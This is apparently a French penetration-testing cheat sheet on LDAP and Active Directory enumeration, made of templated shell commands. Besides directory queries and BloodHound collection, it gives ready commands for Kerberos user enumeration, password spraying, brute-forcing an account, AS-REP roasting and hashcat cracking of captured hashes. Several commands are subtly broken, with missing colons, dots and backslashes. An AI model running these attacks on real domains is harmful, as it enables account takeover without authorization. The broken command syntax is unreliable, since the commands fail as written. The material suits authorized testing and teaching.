MDstable
NoteSnippetChecklistPlaybook

Enumération LDAP / Active Directory

Enumération LDAP et Active Directory : ldapsearch, ldapdomaindump, BloodHound, Kerbrute

snippetintermediate 2026-05-10 4 min read
ldapactive-directoryenumerationpentestbloodhoundkerberos

Objectifs

Cartographier la structure Active Directory : utilisateurs, groupes, GPO, ACL, et chemins d'attaque.

💡 Tip — BloodHound est l'outil le plus puissant pour visualiser les chemins d'élévation dans un AD. Prioriser son utilisation dès que des credentials sont disponibles.

Outils

OutilUsage
ldapsearchRequêtes LDAP manuelles
ldapdomaindumpDump complet de l'AD en JSON/HTML
bloodhound-pythonCollecte BloodHound (ingestor Python)
kerbruteEnumération utilisateurs via Kerberos
GetADUsers.pyListe utilisateurs AD (impacket)

Ldapsearch — Requêtes de base

bash
Variables
{{TARGET}}
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{OUTPUT_DIR}}
# Bind anonyme — récupérer la base DN
ldapsearch -x -H ldap//{{TARGET}} -s base namingcontexts
# Enumération utilisateurs (bind anonyme)
ldapsearch -x -H ldap//{{TARGET}} -b "DC={{DOMAIN}},DC=local" "(objectClass=person)" cn mail
# Avec authentification
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local" "(objectClass=user)"
cn sAMAccountName mail memberOf > {{OUTPUT_DIR}}/users.txt
# Groupes
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local" "(objectClass=group)" cn member > {{OUTPUT_DIR}}/groups.txt
# Admins du domaine
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local"
"(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC={{DOMAIN}},DC=local))"
# SPN (Kerberoasting)
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local"
"(&(objectClass=user)(servicePrincipalName=*))" cn servicePrincipalName

Ldapdomaindump — Dump complet

bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{OUTPUT_DIR}}
# Dump complet de l'AD
ldapdomaindump -u {{DOMAIN}}{{USER}} -p {{PASSWORD}} {{TARGET}} -o {{OUTPUT_DIR}}/ldd
# Sans authentification (bind anonyme)
ldapdomaindump {{TARGET}} -o {{OUTPUT_DIR}}/ldd-anon
# Résultats dans OUTPUT_DIR/ldd/ :
# - domain_users.json / .html / .grep
# - domain_groups.json
# - domain_computers.json
# - domain_policy.json

BloodHound — Cartographie des chemins d'attaque

bash
Variables
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Collecte avec bloodhound-python (depuis attaquant)
bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -ns {{TARGET}}
-c All --zip -o {{OUTPUT_DIR}}/bloodhound/
# Collecte avec SharpHound (depuis une machine Windows du domaine)
# .\SharpHound.exe -c All --outputdirectory C:\temp\bh
# Lancer BloodHound (local)
# sudo neo4j console &
# bloodhound &
# Importer le .zip dans l'interface
# Requêtes BloodHound utiles (dans l'interface) :
# - "Find Shortest Paths to Domain Admins"
# - "Find Principals with DCSync Rights"
# - "List all Kerberoastable Accounts"
# - "Find AS-REP Roastable Users"

Kerbrute — Enumération via Kerberos

bash
Variables
{{TARGET}}
{{DOMAIN}}
{{OUTPUT_DIR}}
{{USER}}
# Enumération d'utilisateurs (pas de credentials requis)
kerbrute userenum --dc {{TARGET}} -d {{DOMAIN}} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o {{OUTPUT_DIR}}/valid-users.txt
# Password spray
kerbrute passwordspray --dc {{TARGET}} -d {{DOMAIN}} {{OUTPUT_DIR}}/valid-users.txt 'Password2024!'
# Bruteforce un compte
kerbrute bruteuser --dc {{TARGET}} -d {{DOMAIN}} /usr/share/wordlists/rockyou.txt {{USER}}

AS-REP Roasting

bash
Variables
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Comptes sans pré-auth Kerberos (GetNPUsers.py)
GetNPUserspy {{DOMAIN}} -dc-ip {{TARGET}} -no-pass -usersfile {{OUTPUT_DIR}}/valid-users.txt
-format hashcat -outputfile {{OUTPUT_DIR}}/asrep-hashes.txt
# Cracker les hashes
hashcat -m 18200 {{OUTPUT_DIR}}/asrep-hashes.txt /usr/share/wordlists/rockyou.txt
Checklist LDAP / AD0/10

Pièges fréquents

  • LDAP signing : requis sur Server 2022+ — utiliser LDAPS (636) si LDAP (389) échoue
  • Bind anonyme désactivé : standard sur AD modernes, il faut des credentials
  • Mauvaise syntaxe DN : le domaine corp.local = DC=corp,DC=local
  • BloodHound sans neo4j : démarrer neo4j AVANT bloodhound
  • Kerbrute détecté : génère des logs d'erreurs Kerberos — timing à adapter
OPS·BRAIN v1.090 notes · Securitylocal